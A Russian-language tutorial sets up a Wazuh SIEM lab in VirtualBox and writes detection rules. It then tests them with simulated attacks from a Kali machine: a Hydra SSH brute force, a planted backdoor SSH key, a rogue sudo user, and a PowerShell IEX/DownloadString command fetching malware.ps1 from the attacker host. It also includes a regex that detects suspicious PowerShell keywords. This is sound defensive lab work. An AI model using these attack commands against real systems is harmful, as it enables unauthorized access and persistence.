Привет, Хабр! В этой стате мы разберём, как внедрить SIEM-систему Wazuh в виртуальную лабораторию, настроить для логирования подозрительных действий и проверить работоспособность правил. Приятного чтения!

Содержание:

  1. Общая информация

  2. Создание сетей в Virtual Box

  3. Настройка сетевых адаптеров

  4. Установка Wazuh

  5. Подключение агентов

  6. Настройка Wazuh

  7. Заключение

Если вы планируете устанавливать Wazuh внутри реальной инфраструктуры, то используйте данную статью как помощь, а не как основной источник информации. Проверяйте все команды на официальном сайте Wazuh.

Общая информация

В VirtualBox создаётся виртуальная сеть 192.168.3.0/24 (NAT Network), изолированная от остальной сети хоста.

Архитектура стенда представлена ниже:

Машина

ОС

Роль

IP-адрес

Wazuh Server

Ubuntu Server

Выполняет функции главного сервера Wazuh

192.168.3.10

Linux

Ubuntu Server

Устанавливается Wazuh Agent для мониторинга

192.168.3.20

Windows

Windows 10

Устанавливается Wazuh Agent для мониторинга

192.168.3.30

Attacker

Kali Linux

Атакующая машина

192.168.3.50

Минимальные ресурсы виртуальных машин:

ВМ

CPU

RAM

Диск

Wazuh Server

4

8

60 ГБ

Linux

2

2

20 ГБ

Windows

2

4

40 ГБ

Attacker

2

2

20 ГБ

При создании диска для Wazuh Server необходимо поставить галочку “Выделить место в полном размере (Pre-allocate Fill Size)”, иначе возможны проблемы при установке Wazuh.

Создание сетей в Virtual Box

NAT Network:

  1. File -> Tools -> Network.

  2. На вкладке NAT Networks создать новую сеть.

  3. Задаём имя Wazuh-lab и устанавливаем префикс 192.168.3.0/24.

  4. Обязательно снять галочку DHCP.

У Wazuh Server будет два сетевых адаптера:

  1. NAT Network - для доступа в локальную сеть к другим виртуальным машинам.

  2. Host-only Adapter - для связи между хостовой ОС и Wazuh сервер. Это необходимо для подключения по ssh к Wazuh Server и для того, чтобы в браузере хоста зайти на веб-панель Wazuh. Вместо этого адаптера можно сделать проброс 22 и 443 портов, но в рамках этой статьи используется вариант с Host-only адаптером.

В панели Host-only network:

  1. На вкладке Host-only Networks создаём новую сеть.

  2. Задаём адрес хоста 192.168.56.1 и маску 255.255.255.0.

  3. Обязательно отключаем DHCP-сервер.

Далее выполняется базовая установка виртуальных машин с адаптером NAT. После успешной настройки ВМ необходимо корректно настроить адаптеры.

Настройка адаптеров ВМ:

  1. Переходим в настройки ВМ на вкладку Network

  2. На всех ВМ в Adapter 1 выбираем NAT Network и сеть Wazuh-lab.

  3. Только на Wazuh Server включаем Adapter 2 и выбираем Host-only Adapter.

Настройка сетевых адаптеров

На Linux:

Необходимо узнать имя интерфейса командой ip -br a. Обычно это enp0s3. Если имя другое, то необходимо в конфигурационном файле подставить своё.

Далее нужно узнать имя файла настроек netplan. ls /etc/netplan покажет имя, обычно это 50-cloud-init.yaml или 00-installer-config.yaml.

Открываем его командой sudo nano /etc/netplan/50-cloud-init.yaml и заполняем как написано ниже:

network:
  version: 2
  ethernets:
    enp0s3:
      dhcp4: false
      addresses: [192.168.3.20/24]
      routes:
        - to: default
          via: 192.168.3.1
      nameservers:
        addresses: [8.8.8.8]

YAML-файлы требовательны к пробелам и табуляции, поэтому необходимо дважды проверить корректность файла.

Далее применяем настройки и проверяем работоспособность сети:

sudo netplan apply
ip a    # должен появиться изменённый IP
ping -c 3 192.168.3.1
ping -c 3 google.com

На Windows

Заходим в PowerShell от имени администратора:

Get-NetAdapter

New-NetIPAddress -InterfaceAlias "Ethernet" -IPAddress 192.168.3.30 -PrefixLength 24 -DefaultGateway 192.168.3.1

Set-DnsClientServerAddress -InterfaceAlias "Ethernet" -ServerAddresses 8.8.8.8

Вместо Ethernet необходимо подставить своё имя адаптера из Get-NetAdapter

Windows по умолчанию блокирует входящий ping. Для проверки связности можно временно разрешить его:

New-NetFirewallRule -DisplayName "Test ICMPv4" -Protocol ICMPv4 -IcmpType 8 -Action Allow

Далее в терминале необходимо проверить связность машины с шлюзом по умолчанию и с другими машинами:

ipconfig    # должен появиться изменённый IP
ping 192.168.3.1
ping 192.168.3.20
ping google.com

На Attacker

Так как Kali использует NetworkManager, настройка выполняется соответствующим образом:

nmcli con show

sudo nmcli con mod "Wired connection 1" ipv4.method manual ipv4.addresses 192.168.3.50/24 ipv4.gateway 192.168.3.1 ipv4.dns "8.8.8.8"

sudo nmcli con down "Wired connection 1"; sudo nmcli con up "Wired connection 1"

Соединение может называться иначе, чем Wired connection 1. Тогда его имя необходимо взять из вывода nmcli con show

Аналогично предыдущим устройствам проверяется работоспособность сети:

ip a    # должен появитсья изменённый IP
ping -c 3 192.168.3.1
ping -c 3 192.168.3.20
ping -c 3 google.com

На Wazuh Server

Аналогично ВМ Linux необходимо узнать имена интерфейсов. Первый должен быть enp0s3, а второй enp0s8. Если имена другие, то необходимо в конфигурационном файле подставить свои.

Далее в конфигурационном файле 50-cloud-init.yaml (или другой) указываются настройки интерфейсов:

network:
  version: 2
  ethernets:
    enp0s3:                       # NAT Network (Wazuh-lab)
      dhcp4: false
      addresses: [192.168.3.10/24]
      routes:
        - to: default
          via: 192.168.3.1
      nameservers:
        addresses: [8.8.8.8]
    enp0s8:                       # Host-only
      dhcp4: false
      addresses: [192.168.56.10/24]

Проверьте табуляцию и наличие пробелов.

Далее применяем настройки и проверяем работоспособность сети:

sudo netplan apply
ip a    # должны появиться два изменённых IP
ping -c 3 192.168.3.1
ping -c 3 google.com

С хостовой ОС необходимо проверить доступность второго адаптера Wazuh Server: ping 192.168.56.10.

Настройка виртуальных машин полностью завершена. Теперь приступаем к установке Wazuh.

Установка Wazuh

Для начала нам нужно подготовить Wazuh Server. Для удобства рекомендуется подключиться по ssh к Wazuh Server, чтобы не писать большие команды самостоятельно.

Для этого на Wazuh Server скачиваем ssh, если служба ранее не установлена:

sudo apt update
sudo apt install ssh

После установки необходимо включить службу:

sudo systemctl enable --now ssh

# А потом проверить включилась ли она
systemctl status ssh   # должно быть active (running)

Далее с хоста подключаемся по ssh к нашему серверу: ssh wazuh@192.168.56.10. Wazuh - это имя учётной записи виртуальной машины Wazuh Server, у вас оно может быть другим.

После этого необходимо ввести пароль и соединение успешно установится. Проверить это можно командой whoami.

На сервере необходимо корректно настроить время, так как алерты в Wazuh записываются и коррелируются по системному времени:

sudo timedatectl set-timezone Europe/Moscow    # Или подставить свой регион
timedatectl    # Проверка

При установке Ubuntu Server диск размечается в формате LVM, из-за чего система не всегда выделяет под корневой раздел всё доступное пространство, даже если при создании виртуального диска был выбран режим полного предварительного выделения.

Посмотреть это можно командой df -h Пример вывода:

Filesystem                         Size  Used Avail Use% Mounted on
tmpfs                              795M  1.1M  794M   1% /run
/dev/mapper/ubuntu--vg-ubuntu--lv   29G  6.7G   21G  25% /
tmpfs                              3.9G     0  3.9G   0% /dev/shm
tmpfs                              5.0M     0  5.0M   0% /run/lock
/dev/sda2                          2.0G  104M  1.7G   6% /boot
tmpfs                              795M   12K  795M   1% /run/user/1000

Нас интересует вторая строчка, так как это основной том, куда примонтирован корень. Видно, что его размер составляет только 29 Гигабайт, а не ±60. Если у вас в колонке Avail около 40+ Гигабайт, то можете пропустить настройку.

Нам необходимо расширить этот том, чтобы он занял всё пространство раздела диска /dev/sda3. (Посмотреть основной раздел можно командой sudo fdisk -l)

sudo pvresize /dev/sda3    # Расширяем физический том
sudo lvextend -l +100%FREE /dev/mapper/ubuntu--vg-ubuntu--lv    # Расширяем логический том
sudo resize2fs /dev/mapper/ubuntu--vg-ubuntu--lv    # Увеличиваем файловую систему на этот объём

После этого снова df -h и проверяем размер:

Filesystem                         Size  Used Avail Use% Mounted on
tmpfs                              795M  1.1M  794M   1% /run
/dev/mapper/ubuntu--vg-ubuntu--lv   57G  6.7G   48G  13% /
tmpfs                              3.9G     0  3.9G   0% /dev/shm
tmpfs                              5.0M     0  5.0M   0% /run/lock
/dev/sda2                          2.0G  104M  1.7G   6% /boot
tmpfs                              795M   12K  795M   1% /run/user/1000

Как видно размер тома увеличился, и наконец можно приступать к установке Wazuh.

Перед установкой на официальном сайте находим последнюю версию. На момент написания статьи последняя версия - 4.14.9 и скачивать будем её. Если вышла новая версия, то рекомендуется скачивать более новую.

С официального сайта Wazuh скачиваем скрипт и запускаем его:

curl -sO https://packages.wazuh.com/4.14/wazuh-install.sh
sudo bash ./wazuh-install.sh -a

Ключ -a устанавливает все необходимые компоненты Wazuh: Manager, Indexer, Dashboard.

Обратите внимание, что в ссылке указан путь 4.14, а не 4.14.9 - это нормально, так как сам установочный скрипт уже содержит информацию о конкретной подверсии Wazuh.

Установка занимает 20-30 минут. Подробный лог пишется на экран и в /var/log/wazuh-install.log. В конце скрипт выведет адрес Dashboard и пароль пользователя admin. Его необходимо сохранить.

Если пароль потерялся, то он и другие пароли лежат в архиве:

sudo tar -O -xvf wazuh-install-files.tar wazuh-install-files/wazuh-passwords.txt

После установки необходимо проверить запуск всех служб:

sudo systemctl status wazuh-manager wazuh-indexer wazuh-dashboard

Все три должны быть active (running)

Теперь необходимо зайти на https://192.168.56.10/, ввести логин и пароль. После входа откроется веб-панель Wazuh. Если всё открывается без ошибок, значит, Wazuh успешно установлен.

Подключение Агентов

Для создания агентов в веб-панели необходимо: три полоски -> Agents Management -> Summary, а затем выбрать Deploy new agent. Откроется меню, необходимо выбрать пакет для скачивания, IP-адрес Wazuh Server и имя для Агента.

Для Linux

Для нашей виртуальной машины Linux необходим пакет DEB amd64, так как он подходит под архитектуру процессора. На всякий случай в терминале ВМ, куда будет установлен агент, можно написать uname -m. В ответе будет x86_64 - для amd64 или aarch64 - для одноимённого пакета.

Для того, чтобы не писать большие команды самостоятельно на Linux необходимо установить ssh. Потом с хостовой ОС подключиться по ssh к Wazuh Server, а из него подключиться к Linux. Host OS -> Wazuh Server -> Linux

В поле с адресом сервера указывается IP-адрес Wazuh Server - 192.168.3.10. А в имени агента указывается имя, которое потом будет отображаться в веб-панели Wazuh - Linux.

В результате внизу появится команда:

wget https://packages.wazuh.com/4.x/apt/pool/main/w/wazuh-agent/wazuh-agent_4.14.9-1_amd64.deb && sudo WAZUH_MANAGER='192.168.3.10' WAZUH_AGENT_NAME='Linux' dpkg -i ./wazuh-agent_4.14.9-1_amd64.deb

Эту команду необходимо ввести в терминале ВМ, после чего начнётся загрузка

После установки необходимо выполнить команды для автоматического запуска Wazuh Agent:

sudo systemctl daemon-reload
sudo systemctl enable wazuh-agent
sudo systemctl start wazuh-agent

После некоторого времени в Agents management отобразится новый агент.

Для Windows

Чтобы в Windows работал двунаправленный буфер обмена нужно запустить ВМ, сверху выбрать Устройства -> Подключить образ диска Дополнений гостевой ОС (Devices -> Insert Guest Additions CD image) и начнётся загрузка. После неё в файловом менеджере появится виртуальный диск, в нём необходимо запустить VBoxWindowsAdditions.exe, а после этого Устройства -> Общий буфер обмена (Devices -> Shared Clipdoard установить на двунаправленный (Bidirectional)

Ещё один агент создаётся аналогично предыдущему. Теперь необходимо выбрать подходящий под Windows пакет, установить имя.

Команда для установки агента на Windows отображена ниже:

Invoke-WebRequest -Uri https://packages.wazuh.com/4.x/windows/wazuh-agent-4.14.9-1.msi -OutFile $env:tmp\wazuh-agent; msiexec.exe /i $env:tmp\wazuh-agent /q WAZUH_MANAGER='192.168.3.10' WAZUH_AGENT_NAME='Windows'

PowerShell должен быть запущен от имени Администратора.

После установки агента его необходимо запустить:

NET START Wazuh

А после этого в веб-панели отобразятся два созданных агента:

Агенты Wazuh успешно установлены на ВМ Linux и Windows и отображаются в веб-панели Wazuh Server. Теперь можно переходить к настройке правил для логирования нужных событий.

Настройка Wazuh

При помощи Wazuh мы будем защищаться от 4 следующих сценариев атак:

  1. SSH-брутфорс

  2. Добавление SSH-ключа для закрепления в системе

  3. Создание пользователя и повышение привилегий на ВМ Linux

  4. Злонамеренное использование PowerShell в Windows 10

Сценарий 1

На ВМ Linux должен быть установлен SSH-сервер

По умолчанию ssh-логи находятся в /var/log/auth.log для Ubuntu Server. Wazuh Agent в некоторых версиях читает этот файл по умолчанию, для проверки необходимо выполнить на Linux команду:

sudo grep -A2 "auth.log" /var/ossec/etc/ossec.conf

Должна быть секция вида:

<localfile>
  <log_format>syslog</log_format>
  <location>/var/log/auth.log</location>
</localfile>

Если такой секции нет, то на ВМ Linux её необходимо добавить в /var/ossec/etc/ossec.conf внутри <ossec_config>, а потом перезапустить агента командой sudo systemctl restart wazuh-agent. Это необходимо, чтобы Wazuh Agent читал логи SSH и отправлял их Wazuh Server.

На Wazuh Server мы будем настраивать локальные правила по обнаружению и логированию неуспешных SSH-запросов.

Сначала, на всякий случай, необходимо сделать бэкап локальных правил:

cp /var/ossec/etc/rules/local_rules.xml /var/ossec/etc/rules/local_rules.xml.bak

Необходимо отредактировать файл локальных правил на сервере:

sudo nano /var/ossec/etc/rules/local_rules.xml

Он должен существовать по умолчанию, но если такого нет, то в нём должна присутствовать структура <group name="local,syslog,sshd"> ... </group>.

В этом файле напишем правило, которое будет логировать брутфорс по SSH (Если уже есть <group name=..., то его ещё раз писать не надо):

<group name="local,syslog,sshd,">

  <rule id="100001" level="10" frequency="5" timeframe="120">
    <if_matched_sid>5760</if_matched_sid>
    <same_source_ip />
    <description>SSH brute force: 5 failed attempts from one IP in 120 seconds</description>
    <mitre>
      <id>T1110</id>
    </mitre>
    <group>authentication_failures,</group>
  </rule>

</group>

Пояснение к правилу:

  • 100001 - это ID из диапазона 100000–119999, зарезервированного под пользовательские правила.

  • level="10" - уровень правила, который определяет степень важности правила.

  • frequency="5" timeframe="120" - срабатывание правила при 5 попытках за 2 минуты.

  • 5760 — встроенное правило Wazuh, которое логирует неудачную попытку аутентификации по SSH.

  • same_source_ip - считает попытки именно с одного и того же IP.

  • description - описание правила, которое будет отображено в логах.

  • mitre - блок для конкретной техники MITRE ATT&CK.

  • <group> - указывает к какой группе относится данное правило.

Далее необходимо, на всякий случай, проверить синтаксис, перезапустить Wazuh-manager и убедиться, что в логах нет ошибок:

sudo /var/ossec/bin/wazuh-logtest-legacy -t 2>&1 | tail -20   # проверка синтаксиса правил
sudo systemctl restart wazuh-manager
sudo systemctl status wazuh-manager   # должно быть active (running)
sudo tail -n 40 /var/ossec/logs/ossec.log

Если никаких ошибок нет, то можно приступать к реализации атаки и проверки работоспособности правил.

На Attacker необходимо создать текстовый словарь паролей, где последний пароль, например, является паролем от ВМ Linux:

cat << 'EOF' > ~/passlist.txt
123456
password
qwerty
admin123
test
test1234
password1
user
EOF

Далее на Attacker запустим Hydra для брутфорса SSH:

hydra -l linux -P ~/passlist.txt ssh://192.168.3.20 -t 1 -V

Пояснение:

  • -l linux - имя пользователя, к которому будем подключаться. Вместо linux необходимо подставить своего пользователя.

  • -P ~/passlist.txt - список с паролями, которые будет использовать Hydra.

  • -t 1 - количество потоков, по умолчанию 16, но мы снижаем, чтобы не нагружать жертву.

  • -V - выводит каждую попытку в консоль.

В веб-панели необходимо зайти в Threat intelligence -> Threat Hunting -> Events и в списке будет срабатывание нашего правила:

А на Attacker будет такой вывод:

В результате Wazuh настроен так, что фиксирует серию неудачных попыток входа по SSH с одного IP-адреса отдельным алертом.

Сценарии 2-3

На Linux необходимо настроить контроль целостности файлов (FIM - File Integrity Monitoring). Это настраивается в файле ossec.conf, но для начала нужно сделать бэкап, а потом редактировать его:

sudo cp /var/ossec/etc/ossec.conf /var/ossec/etc/ossec.conf.bak
sudo nano /var/ossec/etc/ossec.conf

В файле необходимо найти секцию <syscheck> и в ней написать следующее:

<syscheck>
  <disabled>no</disabled>
  <frequency>43200</frequency>

  <directories realtime="yes" whodata="yes" check_all="yes">/home/linux/.ssh</directories>
  <directories realtime="yes" whodata="yes" check_all="yes">/etc/passwd</directories>
  <directories realtime="yes" whodata="yes" check_all="yes">/etc/shadow</directories>
  <directories realtime="yes" whodata="yes" check_all="yes">/etc/sudoers</directories>
  <directories realtime="yes" whodata="yes" check_all="yes">/etc/sudoers.d</directories>

</syscheck>

Пояснение:

  • <disabled> и <frequency> - уже должны быть по умолчанию, поэтому необходимо вставить только <directories>.

  • <directories> - отвечают за путь к файлам, который необходимо отслеживать, /home/linux/.ssh необходимо поменять под вашего пользователя.

  • realtime="yes" - отслеживание изменений немедленно, а не раз в frequency (12 часов по умолчанию). Это важно, иначе алерта можно ждать полдня.

  • whodata="yes" - Wazuh узнаёт, кто именно изменил файл, а не только то, что файл был изменён.

  • check_all="yes" - проверяются все атрибуты (хэш, права, владелец, размер).

Далее на Linux необходимо установить Auditd для аудита команд управления пользователями и привилегиями:

sudo apt install -y auditd audispd-plugins
sudo systemctl enable --now auditd
sudo systemctl status auditd   # должен быть active (running)

После этого необходимо сделать бэкап файла с правилами Auditd и отредактировать его:

sudo cp /etc/audit/rules.d/audit.rules /etc/audit/rules.d/audit.rules.bak
sudo nano /etc/audit/rules.d/audit.rules

В файл необходимо написать строки для отслеживания выполнения конкретных команд и файлов:

-w /usr/sbin/useradd -p x -k user_mgmt
-w /usr/sbin/userdel -p x -k user_mgmt
-w /usr/sbin/usermod -p x -k user_mgmt
-w /usr/sbin/groupadd -p x -k user_mgmt
-w /usr/sbin/visudo -p x -k sudo_mgmt
-w /etc/sudoers -p wa -k sudo_mgmt
-w /etc/sudoers.d/ -p wa -k sudo_mgmt
-w /etc/passwd -p wa -k identity
-w /etc/shadow -p wa -k identity
-w /etc/group -p wa -k identity

Пояснение:

  • -w - указывает путь к файлу или директории, за которой нужно следить.

  • /usr/sbin/useradd - путь к исполняемому файлу.

  • -p - определяет при каком событии записывается в лог: x - исполнение, w - запись, a - изменение атрибутов файла.

  • -k - указывает конкретный тег для удобного отслеживания.

Правила должны автоматически примениться, поэтому вывод команды должен содержать записанные ранее правила:

sudo auditctl -l

Далее нужно перезапустить Wazuh Agent и проверить, нет ли ошибок в syscheck:

sudo systemctl restart wazuh-agent
sudo tail -n 40 /var/ossec/logs/ossec.log | grep -i syscheck

Далее на Wazuh Server необходимо создать правило в local_rules.xml, которое будет отслеживать изменения в файле authorized_keys, чтобы в логах было видно изменение конкретно этого файла:

sudo nano /var/ossec/etc/rules/local_rules.xml

Под предыдущим правилом необходимо написать следующие два правила:

<rule id="100002" level="12">
  <if_sid>550</if_sid>
  <field name="file">authorized_keys</field>
  <description>Added or changed SSH-key in authorized_keys</description>
  <mitre>
    <id>T1098.004</id>
  </mitre>
  <group>persistence,</group>
</rule>

<rule id="100003" level="10">
  <if_sid>5902</if_sid>
  <description>Created new user</description>
  <mitre>
    <id>T1136.001</id>
  </mitre>
  <group>persistence,</group>
</rule>

Пояснение:

  • <if_sid>550</if_sid> - правило FIM, которое уведомляет об изменении файла

  • field name="file" - сужает срабатывание только на путь, содержащий authorized_keys, игнорируя остальные FIM-события.

  • 5902 - это код, который уведомляет о создании нового пользователя.

Теперь необходимо перезапустить Wazuh-manager и приступить к проверке работоспособности правил:

sudo systemctl restart wazuh-manager

Далее на Attacker создаём пару ключей для SSH, выводим публичный ключ на экран и сохраняем его целиком:

ssh-keygen -t ed25519 -f ~/.ssh/backdoor_key -N "" -C "attacker-key"
cat ~/.ssh/backdoor_key.pub

Далее подключаемся по ssh к Linux, создаём директорию для SSH и вставляем в неё свой ключ:

ssh linux@192.168.3.20
mkdir -p ~/.ssh
echo "ssh-ed25519 ... attacker-key" >> ~/.ssh/authorized_keys

Далее заходим в Threat Hunting и видим, что сработало правило 100002:

Далее на Attacker можно выйти из текущей ssh-сессии и подключиться при помощи созданного ключа:

exit
ssh -i ~/.ssh/backdoor_key linux@192.168.3.20

В логах будет виден сам факт входа по SSH, но то, что для входа использовался именно SSH-ключ (а не пароль), по записи определить нельзя.

Теперь на Attacker необходимо закрепиться в системе: создать нового пользователя, присвоить ему пароль и добавить его в группу sudo:

sudo useradd -m -s /bin/bash fakeuser
sudo passwd fakeuser
sudo usermod -aG sudo fakeuser

В логах отобразится срабатывание правила 100003:

Теперь можно выйти из текущей сессии и подключиться к новому пользователю:

exit
ssh fakeuser@192.168.3.20
whoami   # fakeuser

В логах будет отображён вход под новым пользователем:

Сценарий 4

В PowerShell от имени администратора на Windows скачиваем Sysmon и разархивируем его:

Invoke-WebRequest -Uri "https://download.sysinternals.com/files/Sysmon.zip" -OutFile "$env:TEMP\Sysmon.zip"

Expand-Archive -Path "$env:TEMP\Sysmon.zip" -DestinationPath "$env:TEMP\Sysmon"

Далее из официального репозитория скачиваем конфигурационный файл SwiftOnSecurity, который необходим для логирования событий Windows, запускаем установку службы Sysmon и проверяем запущена ли она:

Invoke-WebRequest -Uri "https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/master/sysmonconfig-export.xml" -OutFile "$env:TEMP\sysmonconfig.xml"

& "$env:TEMP\Sysmon\Sysmon64.exe" -accepteula -i "$env:TEMP\sysmonconfig.xml"

Get-Service Sysmon64   # должно быть running

Включаем глубокое логирование всех выполняемых скриптов PowerShell, которое называется ScriptBlockLogging. Оно необходимо для контроля запусков PowerShell-скриптов, даже если они не загружены на диск, а запущены в памяти:

New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Force

Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1

Затем проверяем, включилось ли оно:

Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"

Значение EnableScriptBlockLogging должно быть 1.

Далее открываем ossec.conf:

notepad "C:\Program Files (x86)\ossec-agent\ossec.conf"

Внутри <ossec_config> необходимо проверить наличие следующих блоков или, если их нет, добавить:

<localfile>
  <location>Security</location>
  <log_format>eventchannel</log_format>
</localfile>

<localfile>
  <location>Microsoft-Windows-Sysmon/Operational</location>
  <log_format>eventchannel</log_format>
</localfile>

<localfile>
  <location>Microsoft-Windows-PowerShell/Operational</location>
  <log_format>eventchannel</log_format>
</localfile>

<localfile>
  <location>System</location>
  <log_format>eventchannel</log_format>
</localfile>

В <location>Security</location> могут быть ещё строки, их лучше оставить.

Далее перезапускаем агента и проверяем, всё ли прошло успешно:

Restart-Service WazuhSvc
Get-Content "C:\Program Files (x86)\ossec-agent\ossec.log" -Tail 30

Далее переходим на Wazuh Server и редактируем файл local_rules.xml:

sudo nano /var/ossec/etc/rules/local_rules.xml

И добавляем под всеми остальными правилами ещё одно:

  <rule id="100004" level="12">
    <if_group>powershell</if_group>
    <field name="win.eventdata.scriptBlockText" type="pcre2">(?i)(downloadstring|downloadfile|invoke-expression|iex\s|-enc\s|-encodedcommand|bypass|hidden|frombase64string)</field>
    <description>Suspicious PowerShell command</description>
    <mitre>
      <id>T1059.001</id>
    </mitre>
    <group>suspicious_powershell,</group>
  </rule>

Пояснение:

  • Правило 100004 работает по событию Script Block Logging, которое определяет содержимое команды: DownloadString/DownloadFile (загрузка payload), IEX/Invoke-Expression (выполнение загруженного кода), -enc/-EncodedCommand (base64-обфускация), bypass/hidden (обход политики и скрытое окно).

После этого перезапускаем Wazuh-manager и переходим к реализации:

sudo systemctl restart wazuh-manager

В PowerShell от имени администратора запустим команду, которая скачивает с веб-сервера Attacker файл malware.ps1 и сразу же его выполняет:

powershell.exe -Command "IEX (New-Object Net.WebClient).DownloadString('http://192.168.3.50/malware.ps1')"

Attacker должен быть в сети, но поднимать на нём веб-сервер не обязательно: правило сработает уже из-за наличия подозрительных ключевых слов в самой команде, даже если скачивание завершится с ошибкой. При реальном вредоносном сервере команда отработала бы полностью и точно так же была бы залогирована.

Команда завершится с ошибкой, но в логах веб-панели появится следующее:

Это означает, что правило настроено корректно и выполнение подозрительных команд в PowerShell успешно логируется на Wazuh Server.

Заключение

Спасибо за прочтение статьи, в ней мы развернули минимальную, но рабочую инфраструктуру мониторинга на базе Wazuh и показали, как она закрывает четыре сценария атак. Во всех сценариях схема работы одинакова: источник логов поставляет сырые события, а пользовательские правила local_rules.xml превращают их в понятные алерты с привязкой к MITRE ATT&CK.

В реальной инфраструктуре потребуется добавить мониторинг сетевой активности, интеграцию с threat intelligence и active response для автоматического блокирования атакующих IP, а также протестировать правила на ложные срабатывания.